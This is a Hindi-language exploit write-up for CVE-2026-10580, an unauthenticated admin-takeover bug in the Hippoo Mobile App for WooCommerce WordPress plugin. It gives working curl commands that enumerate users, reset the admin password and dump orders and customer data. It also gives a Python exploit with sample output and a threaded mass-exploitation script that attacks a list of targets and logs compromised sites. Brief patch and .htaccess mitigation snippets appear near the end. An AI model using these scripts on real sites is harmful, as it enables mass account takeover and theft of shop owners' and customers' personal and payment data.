
Hippoo Mobile App for WooCommerce <= 1.9.4 - अप्रमाणित प्रमाणीकरण बाईपास जिससे व्यवस्थापक खाता अधिग्रहण हो सकता है
अनप्रमाणित → तर्क संग्रह बग के माध्यम से प्रशासक खाता अधिग्रहण
| CVE | CVE-2026-10580 |
| प्लगिन | WooCommerce के लिए Hippoo मोबाइल ऐप |
| संस्करण | ≤ 1.9.4 |
| CVSS | 9.8 (गंभीर) |
| प्रमाणीकरण आवश्यक | ❌ नहीं |
| एडमिन अधिग्रहण | ✅ हाँ |
| WooCommerce डेटा | ✅ पूर्ण पहुँच |
get_user_permissions() फ़ंक्शन एडमिन के लिए null लौटाता है (सही) और अनप्रमाणित उपयोगकर्ता के लिए भी null लौटाता है (गलत)।
has_role_access() देखता है null → पूर्ण पहुँच प्रदान करता है।
परिणामस्वरूप:
/wp-json/wc-hippoo/v1/ext/*
→ बिना लॉगिन, बिना कुकी, बिना नॉन्स के
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users?per_page=10" | jq .
curl -X POST "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users/1" \
-H "Content-Type: application/json" \
-d '{"password":"Pwned123!"}'
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/orders?per_page=50"
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/customers?per_page=50"
#!/usr/bin/env python3
import requests
import sys
import json
def exploit(target, admin_id=1, new_password="PwnedCVE2026!!"):
base = target.rstrip('/')
# Step 1 - Enumeration
users_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users"
r = requests.get(users_url)
if r.status_code != 200:
print(f"[-] Not vulnerable: {target}")
return False
users = r.json()
print(f"[+] Found {len(users)} user(s)")
# Step 2 - Password reset
takeover_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users/{admin_id}"
r2 = requests.post(takeover_url, json={"password": new_password})
if r2.status_code == 200:
print(f"[✓] ADMIN TAKEOVER: {target}")
print(f" Login: {base}/wp-admin")
print(f" Password: {new_password}")
return True
else:
print(f"[-] Failed: {target}")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} https://target.com")
sys.exit(1)
exploit(sys.argv[1])
python3 exploit.py https://poloss.ddev.site
आउटपुट:
[+] Found 1 user(s)
[✓] ADMIN TAKEOVER: https://poloss.ddev.site
Login: https://poloss.ddev.site/wp-admin
Password: PwnedCVE2026!!
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
def takeover(target):
try:
r = requests.post(
f"{target.rstrip('/')}/wp-json/wc-hippoo/v1/ext/wp/v2/users/1",
json={"password": "MassPwned2026!!"},
timeout=10
)
if r.status_code == 200:
print(f"[✓] TAKEOVER: {target}")
with open("pwned.txt", "a") as f:
f.write(f"{target} | admin | MassPwned2026!!\n")
except:
pass
with open("targets.txt") as f:
urls = [line.strip() for line in f if line.strip()]
with ThreadPoolExecutor(max_workers=20) as executor:
for url in urls:
executor.submit(takeover, url)
if (empty($user) || !$user->exists()) {
return false; // BUKAN NULL
}
if ($perms === false) {
return false; // Unauthenticated denied
}
RewriteCond %{REQUEST_URI} ^/wp-json/wc-hippoo/v1/ext/
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in
RewriteRule .* - [F,L]
CVE-2026-10580 • 100% POC • कोई प्रमाणीकरण नहीं • पूर्ण एडमिन अधिग्रहण
#WordPress #WooCommerce #Poloss #W.P.E.F
| एंडपॉइंट | डेटा |
|---|
/wp-json/wc-hippoo/v1/ext/wp/v2/users | सभी WP उपयोगकर्ता |
/wp-json/wc-hippoo/v1/ext/wp/v2/users/1 | एडमिन अधिग्रहण |
/wp-json/wc-hippoo/v1/ext/wc/v3/orders | पूर्ण ऑर्डर |
/wp-json/wc-hippoo/v1/ext/wc/v3/products | उत्पाद + स्टॉक |
/wp-json/wc-hippoo/v1/ext/wc/v3/customers | ग्राहक PII |
/wp-json/wc-hippoo/v1/ext/wc/v3/coupons | छूट कोड |
/wp-json/wc-hippoo/v1/ext/wc/v3/reports | बिक्री रिपोर्ट |
/wp-json/wc-hippoo/v1/ext/wc/v3/payment_gateways | भुगतान कॉन्फ़िगरेशन |
| वेक्टर | मान |
|---|
| AV | Network |
| AC | Low |
| PR | None |
| UI | None |
| S | Unchanged |
| C | High |
| I | High |
| A | High |